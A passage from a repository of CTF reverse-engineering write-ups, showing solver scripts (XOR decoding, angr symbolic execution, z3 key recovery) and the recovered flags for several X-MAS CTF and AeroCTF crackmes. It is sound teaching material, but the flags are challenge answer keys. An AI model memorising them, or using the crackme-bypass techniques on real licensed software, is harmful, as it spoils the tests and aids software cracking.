0x63, 74 | 0x45, 0xD0, 0x41B, 0x45, 0x485, 0x00] 75 | base = 0x401c2d # function address 76 | 77 | flag = [0x26,0x70,0xF5,0x26,0x07,0x36,0x52,0x76,0x37,0x25,0x9C,0x14,0x00,0x38,0x96,0x7B,125] 78 | 79 | ans = "" 80 | for i in range(0, 17, 1): 81 | if i & 1: 82 | ans += chr(((base + i + 0x13) & 0xff) ^ flag[i]) 83 | else: 84 | ans += chr(((test[i] + 0x13) & 0xff) ^ flag[i]) 85 | 86 | print(ans) 87 | ``` 88 | 89 | ``` 90 | >>> N1ce_sk1ll5_hum4n 91 | ``` 92 | 93 | :) 94 | 95 | 96 | -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_bots_cantkill.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_bots_cantkill.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_death.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_death.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_disas.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_disas.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_flag.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_folder.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_game.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_game.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_patched.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_patched.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/2_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/2_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_algo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_algo.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_back_to_image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_back_to_image.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_decompiled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_decompiled.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_decryption.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_decryption.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_first_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_first_call.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_jmp_r13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_jmp_r13.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_start.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_start_assembly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_start_assembly.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_unpacked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_unpacked.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/4_vmmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/4_vmmap.png -------------------------------------------------------------------------------- /X-MAS CTF/Last Christmas/images/bot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Last Christmas/images/bot.png -------------------------------------------------------------------------------- /X-MAS CTF/Reverthable X-Math/README.md: -------------------------------------------------------------------------------- 1 | ### Reverthable X-Math 2 | 3 | ![3_title](images/3_title.png) 4 | 5 | 6 | 7 | This time we are given with LISP program and output.txt. 8 | 9 | Lisp source: 10 | 11 | ``` lisp 12 | (defun frobnicate(str xor offset lvl) 13 | (setq mead (cheekybreeky (+ xor offset))) 14 | 15 | (cond ((< xor (- offset 1)) 16 | (princ (logxor (- (char-int (char str mead)) (char-int #\0)) 42)) 17 | (princ "/") 18 | (if (equal lvl 3) 19 | (setq mead (cheekybreeky 16)) 20 | ) 21 | 22 | (frobnicate str xor mead (+ lvl 1)) 23 | (frobnicate str (+ mead 1) offset (+ lvl 1)) 24 | ) 25 | ( 26 | t 0 27 | ) 28 | ) 29 | ) 30 | 31 | (defun cheekybreeky (num) 32 | (setq n 0) 33 | (loop 34 | (if (>= (* n 2) num) 35 | (return) 36 | ) 37 | (setq n (+ 1 n)) 38 | ) 39 | 40 | (if (equal (* n 2) num) 41 | (return-from cheekybreeky n) 42 | (return-from cheekybreeky (- n 1)) 43 | ) 44 | ) 45 | 46 | (defun hello() 47 | (setq flag "your flag is in another castle!!") 48 | (frobnicate flag 0 (length flag) 0.0) 49 | ) 50 | 51 | (hello) 52 | 53 | ``` 54 | 55 | output.txt : 56 | 57 | ``` sh 58 | 47/22/9/55/-41/59/39/97/-38/-38/108/42/41/-47/-46/-38/-38/22/46/110/22/46/23/20/45/46/47/20/-45/46/103/0 59 | ``` 60 | 61 | Obviously, the output is a flag, you just need to understand the lisp code. 62 | 63 | Solution: 64 | 65 | ​ Every element splitted by slash in output.txt xored with 42 and added with 48: 66 | 67 | ``` lisp 68 | (princ (logxor (- (char-int (char str mead)) (char-int #\0)) 42)) 69 | ``` 70 | 71 | Let's print **mead** every time the condition gets executed so we can see in which positions on which the elements should be. 72 | 73 | ``` lisp 74 | (format t "~d " mead) 75 | ``` 76 | 77 | ``` sh 78 | Reverthable X-Math> clisp task.lsp 79 | 16 8 4 2 1 3 6 5 7 12 10 9 11 14 13 15 24 20 18 17 19 22 21 23 28 26 25 27 30 29 31 80 | ``` 81 | 82 | Algorithm: 83 | 84 | ``` python 85 | key = 86 | '47/22/9/55/-41/59/39/97/-38/-38/108/42/41/-47/-46/-38/-38/22/46/110/22/46/23/20/45/46/47/20/-45/46/103/0' 87 | pos = [16, 8, 4, 2, 1, 3, 6, 5, 7, 12, 10, 9, 11, 14, 13, 15, 24, 20, 88 | 18, 17, 19, 22, 21, 23, 28, 26, 25, 27, 30, 29, 31] 89 | decode = lambda y: "".join([chr((int(i) ^ 42) + 48) for i in y]) 90 | 91 | flag = [0 for i in range(len(pos) + 1)] 92 | temp = decode(key.split('/')) 93 | for i in range(len(pos)): 94 | flag[pos[i]] = temp[i] 95 | 96 | print(''.join(str(i) for i in flag)) 97 | ``` 98 | 99 | ``` 100 | >>> 0-MAS{= l0v3 (+ 5t4llm4n 54n74)} 101 | ``` 102 | 103 | Everything is right but the first character should be 'X' 104 | -------------------------------------------------------------------------------- /X-MAS CTF/Reverthable X-Math/images/3_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Reverthable X-Math/images/3_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Santa's Crackme/Images/1_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Santa's Crackme/Images/1_flag.png -------------------------------------------------------------------------------- /X-MAS CTF/Santa's Crackme/Images/1_main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Santa's Crackme/Images/1_main.png -------------------------------------------------------------------------------- /X-MAS CTF/Santa's Crackme/Images/1_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Santa's Crackme/Images/1_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Santa's Crackme/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ### Santa's Crackme 6 | 7 | ![title](Images/1_title.png) 8 | 9 | The first and the most easiest crackme. The input is xored with 3 and compared with encoded flag. 10 | 11 | ![main](Images/1_main.png) 12 | 13 | 14 | 15 | ![flag](Images/1_flag.png) 16 | 17 | 18 | 19 | Solution: 20 | 21 | ``` python 22 | flag = '[.NBPx67m47\\26\\a7g\\74\\o2`0m60\\`k0`h2m5~' 23 | password = '' 24 | for i in flag: 25 | password += chr(ord(i) ^ 3) 26 | print password 27 | ``` 28 | 29 | ``` 30 | >>> X-MAS{54n74_15_b4d_47_l1c3n53_ch3ck1n6} 31 | ``` 32 | -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/README.md: -------------------------------------------------------------------------------- 1 | ### Secret Journal 2 | 3 | ![7_title](images/7_title.png) 4 | 5 | After launching the program, we are presented with a 2-minute funny video about duck eating microcontroller. 6 | 7 | ![7_vod](images/7_vod.png) 8 | 9 | But there is no place to enter our password :( 10 | 11 | Let's open it in IDA and see what's up 12 | 13 | Winmain: 14 | 15 | ![7_winmain](images/7_winmain.png) 16 | 17 | So, program loads duck.mp4 from resources, drops it to disk and starts thread that plays it. 18 | 19 | If it has any other functionality, then it is in **sub_402f01** 20 | 21 | **sub_402f01** - WindowProc callback function, an application-defined function that processes messages sent to a window. 22 | 23 | ![7_winproc](images/7_winproc.png) 24 | 25 | As we can see, if we press **ENTER** every keystroke that we pressed before is being passed to **check_input** function and if it returns 1, the secret window will appear. 26 | 27 | **check_input** function code: 28 | 29 | ![7_check_input](images/7_check_input.png) 30 | 31 | ``` python 32 | Str = "pnfgenirgryr0" 33 | input = "" 34 | for i in Str: 35 | input += chr((ord(i) - 84) % 26 + 0x61) 36 | print(input) 37 | ``` 38 | 39 | ``` python 40 | >>> castraveteleq 41 | ``` 42 | 43 | The last character has to be number and be equal to Str[last], so the final password is **castravetele0** 44 | 45 | After entering it, the new window appeared. 46 | 47 | ![7_decryptor](images/7_decryptor.png) 48 | 49 | The winproc of this window is straight forward: if password is correct, then the secret.png will be decrypted. 50 | 51 | ![7_decrypt](images/7_decrypt.png) 52 | 53 | And here comes the hint. This image is the program on **PIET** programming language. Passing it to online interpreter reaveals the password **parola_smechera0**. The secret.png gets decrypted and we get our flag :) 54 | -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_check_input.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_check_input.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_decrypt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_decrypt.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_decryptor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_decryptor.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_folder.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_title.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_vod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_vod.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_winmain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_winmain.png -------------------------------------------------------------------------------- /X-MAS CTF/Secret Journal/images/7_winproc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/X-MAS CTF/Secret Journal/images/7_winproc.png -------------------------------------------------------------------------------- /aeroctf/1000 and 1 night/README.md: -------------------------------------------------------------------------------- 1 | # 1000 and 1 night 2 | 3 | ### Description: 4 | 5 | ``` 6 | I wrote all this manually in 1000 and 1 night. 7 | 8 | It seems that the solution will take the same amount of time. 9 | 10 | After connecting to the server, it will ask you for a token for a binary. 11 | 12 | You need to enter the correct tokens for the requested files and you will receive a flag. 13 | 14 | nc tasks.aeroctf.com 44324 15 | ``` 16 | 17 | We are given with 1001 binaries that ask for a token. Every binary has the same layout, the only difference is in constants in **check** function. 18 | 19 | ```c 20 | int main(int argc, const char **argv, const char **envp) 21 | { 22 | int result; 23 | _BYTE *buf; 24 | 25 | setup(argc, argv, envp); 26 | printf("[?] Enter valid token: "); 27 | buf = malloc(0x40uLL); 28 | buf[(int)read(0, buf, 0x40uLL) - 1] = 0; 29 | if ( strlen(buf) == 32 ) 30 | { 31 | if ( check(buf) ) 32 | puts("[+] This is a valid token!"); 33 | else 34 | puts("[-] Incorrect!"); 35 | result = 0; 36 | } 37 | else 38 | { 39 | puts("[-] Incorrect!"); 40 | result = 0x539; 41 | } 42 | return result; 43 | } 44 | ``` 45 | 46 | ```c 47 | bool check(char *a1) 48 | { 49 | __int64 s2; 50 | __int64 v3; 51 | __int64 v4; 52 | __int64 v5; 53 | int i; 54 | 55 | s2 = 0x2673231825237276LL; 56 | v3 = 0x2373262077182774LL; 57 | v4 = 0x2025271873772577LL; 58 | v5 = 0x2375232776217420LL; 59 | for ( i = 0; i <= 31; ++i ) 60 | a1[i] = ((a1[i] + 7) ^ 0x17) - 8; 61 | return memcmp(a1, &s2, 0x20uLL) == 0; 62 | } 63 | ``` 64 | 65 | 66 | 67 | ### Solution: 68 | 69 | We use angr to automatically solve crackmes and save output to file. After 30~ mins we use pwntools to submit token to server. 70 | 71 | ```python 72 | import angr 73 | import claripy 74 | import os 75 | import sys 76 | import binascii 77 | from tqdm import tqdm 78 | import logging 79 | 80 | log_things = ["angr", "pyvex", "claripy", "cle"] 81 | for log in log_things: 82 | logger = logging.getLogger(log) 83 | logger.disabled = True 84 | logger.propagate = False 85 | 86 | files_path = os.path.join(os.getcwd(), 'files') 87 | 88 | check_func = 0x4012a4 89 | key_loc = 0x600000 90 | 91 | def main(filename, f): 92 | key = claripy.BVS('key', 8*32) 93 | proj = angr.Project(os.path.join(files_path, filename)) 94 | state = proj.factory.blank_state(addr=0x401219) # addr of check function 95 | 96 | # key is only in printable char range 97 | for c in key.chop(8): 98 | state.add_constraints(c >= 32) 99 | state.add_constraints(c <= 127) 100 | 101 | state.memory.store(key_loc, key) 102 | state.regs.rdi = key_loc 103 | state.regs.rax = key_loc 104 | simgr = proj.factory.simgr(state) 105 | simgr.explore( 106 | find=0x401230, # goodboy 107 | avoid=0x401222 # badboy 108 | ) 109 | print(simgr) 110 | if simgr.found: 111 | out = simgr.found[-1].solver.eval(key, cast_to=bytes) 112 | print(out) 113 | f.write(f'{filename}\t{out.decode("utf-8")}\n') 114 | else: 115 | print(f'no token found for {filename}') 116 | f.write(f'{filename}\tNOTHING') 117 | 118 | if __name__ == "__main__": 119 | with open('out.txt', 'w') as f: 120 | for file in tqdm(os.listdir(files_path)): 121 | main(file, f) 122 | 123 | ``` 124 | 125 | ```python 126 | from pwn import * 127 | import sys 128 | import re 129 | 130 | def main(r): 131 | answers = open('out.txt').readlines() 132 | while True: 133 | raw = r.recv() 134 | print(raw) 135 | binary_name = re.findall('<(.*)>', raw.decode())[0] 136 | for i in answers: 137 | if binary_name in i: 138 | r.sendline(i.split('\t')[-1].replace('\n','')) 139 | break 140 | 141 | if __name__ == "__main__": 142 | r = remote('tasks.aeroctf.com', 44324) 143 | sys.exit(main(r)) 144 | ``` 145 | 146 | Output from server: 147 | 148 | ```sh 149 | b'Enter valid token to binary with name <704afe073992cbe4813cae2f7715336f>\nToken: ' 150 | b'Enter valid token to binary with name \nToken: ' 151 | b'Enter valid token to binary with name <303ed4c69846ab36c2904d3ba8573050>\nToken: ' 152 | b'Enter valid token to binary with name <9f61408e3afb633e50cdf1b20de6f466>\nToken: ' 153 | b'Enter valid token to binary with name \nToken: ' 154 | b'Enter valid token to binary with name <46922a0880a8f11f8f69cbb52b1396be>\nToken: ' 155 | b'Enter valid token to binary with name <210f760a89db30aa72ca258a3483cc7f>\nToken: ' 156 | b'Enter valid token to binary with name <92cc227532d17e56e07902b254dfad10>\nToken: ' 157 | b'Enter valid token to binary with name <6855456e2fe46a9d49d3d3af4f57443d>\nToken: ' 158 | b'Enter valid token to binary with name <8c235f89a8143a28a1d6067e959dd858>\nToken: ' 159 | b'Flag: Aero{0f9e7ddd2be70f58b86f8f6589e17f182fc21c71437c2d9923fefa7ae281712b}\n' 160 | ``` 161 | 162 | -------------------------------------------------------------------------------- /aeroctf/1000 and 1 night/files.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/aeroctf/1000 and 1 night/files.zip -------------------------------------------------------------------------------- /aeroctf/Babycrypt/README.md: -------------------------------------------------------------------------------- 1 | # Babycrypt 2 | 3 | We are given with elf64 binary and notes.dat file. 4 | 5 | The binary asks for key and text and gives out encrypted text. 6 | 7 | The notes contains output from program with different inputs: 8 | 9 | ``` 10 | key: %key% 11 | text: test_test_test_test_test 12 | Encoded: 7685737a9f7895737a9f84857b769f7a657b769f78898378 13 | 14 | key: %key% 15 | text: qwertyuiopasdfgh 16 | Encoded: 717785747885858d6f7e917364686776 17 | 18 | key: %key% 19 | text: skIllaoInasJjklqo19akq9k13k45k69alq1 20 | Encoded: 7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135 21 | 22 | 23 | key: %key% 24 | text: %flag% 25 | Encoded: 8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781 26 | 27 | 28 | *Note: in all three cases used one key* 29 | ``` 30 | 31 | 32 | 33 | After some reversing we can see that key is being shuffled and applied to input text. After that it prints encrypted text. 34 | 35 | ```c 36 | void make_text(char *data) 37 | { 38 | unsigned __int64 v1; 39 | int v2; 40 | int v3; 41 | int v4; 42 | int i; 43 | 44 | for ( i = 0; ; ++i ) 45 | { 46 | v1 = i; 47 | if ( v1 >= text_len(data + 88) ) 48 | break; 49 | v2 = *(char *)get_text(data + 88, i); 50 | v3 = *(_DWORD *)get_key(data, i % 16) ^ v2; // xor 51 | v4 = v3 + *(_DWORD *)get_key(data, i % 16); // add 52 | sub_55E323148EC6((__int64)(data + 112), (__int64)&v4); 53 | } 54 | } 55 | ``` 56 | 57 | ### Solution: 58 | 59 | The solution is simple. since we know 3 inputs and 3 outputs, we can find all possible keys for given pairs. 60 | 61 | After that we can find possible plaintexts for given encrypted flag. 62 | 63 | ```python 64 | import binascii 65 | from z3 import * 66 | import string 67 | 68 | outputs = { 69 | 'test_test_test_test_test' : binascii.unhexlify('7685737a9f7895737a9f84857b769f7a657b769f78898378'), 70 | 'qwertyuiopasdfgh' : binascii.unhexlify('717785747885858d6f7e917364686776'), 71 | 'skIllaoInasJjklqo19akq9k13k45k69alq1' : binascii.unhexlify('7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135') 72 | } 73 | 74 | mapping = { 75 | 0:0, 76 | 1:4, 77 | 2:8, 78 | 3:12, 79 | 4:13, 80 | 5:14, 81 | 6:15, 82 | 7:11, 83 | 8:7, 84 | 9:3, 85 | 10:2, 86 | 11:1, 87 | 12:5, 88 | 13:9, 89 | 14:10, 90 | 15:6 91 | } 92 | 93 | # apply key shuffle 94 | def map_key(key): 95 | new_key = [0 for i in range(len(key))] 96 | for i, v in enumerate(key): 97 | new_key[mapping[i]] = v 98 | return ''.join(new_key) 99 | 100 | # apply key shuffle reverse 101 | def map_key_rev(key): 102 | new_key = [0 for i in range(len(key))] 103 | new_mapping = {} 104 | for k, v in mapping.items(): 105 | new_mapping[v] = k 106 | for i, v in enumerate(key): 107 | new_key[new_mapping[i]] = v 108 | return ''.join(new_key) 109 | 110 | # encryption 111 | def encode_byte(inp_text, inp_key): 112 | return ((inp_text ^ inp_key) + inp_key) & 0xff 113 | 114 | # helper function 115 | def to_byte(x): 116 | return bytes([x]) 117 | 118 | # find all possible keys 119 | # input - dict{plaintext : encypted_text} 120 | # output - all possible keys 121 | def get_keys(outputs): 122 | s = Solver() 123 | key_len = 16 124 | possible_keys = [] 125 | # make key 16 bytes long 126 | # key has to be in hexdigits range 127 | for i in range(0, key_len): 128 | globals()['b%i' % i] = BitVec('b%i' % i, 8) 129 | s.add(Or(And(globals()['b%i' % i] >= 48, globals()['b%i' % i] <= 57), And(globals()['b%i' % i] >= 97, globals()['b%i' % i] <= 104))) 130 | 131 | 132 | for text, output in outputs.items(): 133 | for i in range(len(text)): 134 | s.add(encode_byte(ord(text[i]), globals()['b%i' % (i % 16)]) == output[i]) 135 | 136 | #print(s) 137 | # find all possible keys 138 | while s.check() == sat: 139 | model = s.model() 140 | block = [] 141 | out = '' 142 | for i in range(key_len): 143 | c = globals()['b%i' % i] 144 | out += chr(model[c].as_long()) 145 | block.append(c != model[c]) 146 | s.add(Or(block)) 147 | possible_keys.append(map_key_rev(out)) 148 | return possible_keys 149 | 150 | 151 | # input - keys 152 | # output - all possible plaintext 153 | def solve(keys): 154 | encoded_flag = binascii.unhexlify('8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781') 155 | flag_len = len(encoded_flag) 156 | for key in keys: 157 | k = map_key(key) 158 | s = Solver() 159 | # gen flag 160 | for i in range(0, flag_len): 161 | globals()['b%i' % i] = BitVec('b%i' % i, 8) 162 | s.add(And(globals()['b%i' % i] >= 32, globals()['b%i' % i] <= 127)) 163 | 164 | for i in range(flag_len): 165 | s.add(encode_byte(globals()['b%i' % i], ord(k[i % len(k)])) == encoded_flag[i]) 166 | if s.check() == sat: 167 | out = '' 168 | model = s.model() 169 | for i in range(flag_len): 170 | c = globals()['b%i' % i] 171 | out += chr(model[c].as_long()) 172 | print(out) 173 | 174 | if __name__ == "__main__": 175 | #assert 'aaaabbbbccccdddd' == map_key_rev('acccaddcaddbabbb') 176 | #sys.exit(main()) 177 | keys = get_keys(outputs) 178 | solve(keys) 179 | ``` 180 | 181 | And we get all plaintexts 182 | 183 | ``` 184 | Aero{381a95d003629088c8f1ebc189ab6fe7} 185 | Aero{3:1a95d003629088c:f1ebc189ab6fe7} 186 | ``` 187 | 188 | -------------------------------------------------------------------------------- /aeroctf/Babycrypt/bcry: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/aeroctf/Babycrypt/bcry -------------------------------------------------------------------------------- /aeroctf/Babycrypt/note.dat.txt: -------------------------------------------------------------------------------- 1 | key: %key% 2 | text: test_test_test_test_test 3 | Encoded: 7685737a9f7895737a9f84857b769f7a657b769f78898378 4 | 5 | 6 | 7 | key: %key% 8 | text: qwertyuiopasdfgh 9 | Encoded: 717785747885858d6f7e917364686776 10 | 11 | key: %key% 12 | text: skIllaoInasJjklqo19akq9k13k45k69alq1 13 | Encoded: 7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135 14 | 15 | 16 | key: %key% 17 | text: %flag% 18 | Encoded: 8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781 19 | 20 | 21 | *Note: in all three cases used one key* -------------------------------------------------------------------------------- /aeroctf/Babycrypt/solver.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | from z3 import * 3 | import string 4 | 5 | outputs = { 6 | 'test_test_test_test_test' : binascii.unhexlify('7685737a9f7895737a9f84857b769f7a657b769f78898378'), 7 | 'qwertyuiopasdfgh' : binascii.unhexlify('717785747885858d6f7e917364686776'), 8 | 'skIllaoInasJjklqo19akq9k13k45k69alq1' : binascii.unhexlify('7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135') 9 | } 10 | 11 | mapping = { 12 | 0:0, 13 | 1:4, 14 | 2:8, 15 | 3:12, 16 | 4:13, 17 | 5:14, 18 | 6:15, 19 | 7:11, 20 | 8:7, 21 | 9:3, 22 | 10:2, 23 | 11:1, 24 | 12:5, 25 | 13:9, 26 | 14:10, 27 | 15:6 28 | } 29 | 30 | def map_key_rev(key): 31 | new_key = [0 for i in range(len(key))] 32 | new_mapping = {} 33 | for k, v in mapping.items(): 34 | new_mapping[v] = k 35 | for i, v in enumerate(key): 36 | new_key[new_mapping[i]] = v 37 | return ''.join(new_key) 38 | 39 | 40 | def map_key(key): 41 | new_key = [0 for i in range(len(key))] 42 | for i, v in enumerate(key): 43 | new_key[mapping[i]] = v 44 | return ''.join(new_key) 45 | 46 | def encode_byte(inp_text, inp_key): 47 | return ((inp_text ^ inp_key) + inp_key) & 0xff 48 | 49 | def to_byte(x): 50 | return bytes([x]) 51 | 52 | def get_keys(outputs): 53 | s = Solver() 54 | key_len = 16 55 | possible_keys = [] 56 | # make key 16 bytes long 57 | for i in range(0, key_len): 58 | globals()['b%i' % i] = BitVec('b%i' % i, 8) 59 | s.add(Or(And(globals()['b%i' % i] >= 48, globals()['b%i' % i] <= 57), And(globals()['b%i' % i] >= 97, globals()['b%i' % i] <= 104))) 60 | 61 | 62 | for text, output in outputs.items(): 63 | for i in range(len(text)): 64 | s.add(encode_byte(ord(text[i]), globals()['b%i' % (i % 16)]) == output[i]) 65 | 66 | #print(s) 67 | 68 | while s.check() == sat: 69 | model = s.model() 70 | block = [] 71 | out = '' 72 | for i in range(key_len): 73 | c = globals()['b%i' % i] 74 | out += chr(model[c].as_long()) 75 | block.append(c != model[c]) 76 | s.add(Or(block)) 77 | possible_keys.append(map_key_rev(out)) 78 | return possible_keys 79 | 80 | 81 | def solve(keys): 82 | encoded_flag = binascii.unhexlify('8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781') 83 | flag_len = len(encoded_flag) 84 | for key in keys: 85 | k = map_key(key) 86 | s = Solver() 87 | # gen flag 88 | for i in range(0, flag_len): 89 | globals()['b%i' % i] = BitVec('b%i' % i, 8) 90 | s.add(And(globals()['b%i' % i] >= 32, globals()['b%i' % i] <= 127)) 91 | 92 | for i in range(flag_len): 93 | s.add(encode_byte(globals()['b%i' % i], ord(k[i % len(k)])) == encoded_flag[i]) 94 | if s.check() == sat: 95 | out = '' 96 | model = s.model() 97 | for i in range(flag_len): 98 | c = globals()['b%i' % i] 99 | out += chr(model[c].as_long()) 100 | print(out) 101 | 102 | 103 | 104 | if __name__ == "__main__": 105 | #assert 'aaaabbbbccccdddd' == map_key_rev('acccaddcaddbabbb') 106 | #sys.exit(main()) 107 | keys = get_keys(outputs) 108 | solve(keys) -------------------------------------------------------------------------------- /aeroctf/Ultimate Snake Game/README.md: -------------------------------------------------------------------------------- 1 | # Ultimate Snake Game 2 | 3 | 